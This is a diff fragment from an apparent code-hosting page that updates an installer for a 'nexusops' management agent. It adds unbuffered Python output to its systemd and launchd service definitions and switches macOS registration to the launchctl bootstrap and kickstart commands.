[Service]
|
[Service]
|
||||||
Type=simple
|
Type=simple
|
||||||
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
||||||
Restart=always
|
Restart=always
|
||||||
RestartSec=5
|
RestartSec=5
|
||||||
User=root
|
User=root
|
||||||
@@ -784,10 +786,10 @@ cat << EOF > "$PLIST_FILE"
|
|||||||
<key>ProgramArguments</key>
|
<key>ProgramArguments</key>
|
||||||
<array>
|
<array>
|
||||||
<string>/usr/bin/python3</string>
|
<string>/usr/bin/python3</string>
|
||||||
|
<string>-u</string>
|
||||||
<string>$INSTALL_DIR/agent.py</string>
|
<string>$INSTALL_DIR/agent.py</string>
|
||||||
<string>--server</string>
|
<string>--server</string>
|
||||||
<string>$SERVER_URL</string>
|
<string>$SERVER_URL</string>
|
||||||
<string>--silent</string>
|
|
||||||
</array>
|
</array>
|
||||||
<key>RunAtLoad</key>
|
<key>RunAtLoad</key>
|
||||||
<true/>
|
<true/>
|
||||||
@@ -801,8 +803,10 @@ cat << EOF > "$PLIST_FILE"
|
|||||||
</plist>
|
</plist>
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
launchctl unload "$PLIST_FILE" 2>/dev/null || true
|
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
||||||
launchctl load "$PLIST_FILE"
|
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
||||||
|
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
||||||
|
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
||||||
|
|
||||||
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
||||||
echo " To stop: launchctl unload $PLIST_FILE"
|
echo " To stop: launchctl unload $PLIST_FILE"
|
||||||
|
|||||||
Reference in New Issue
Block a user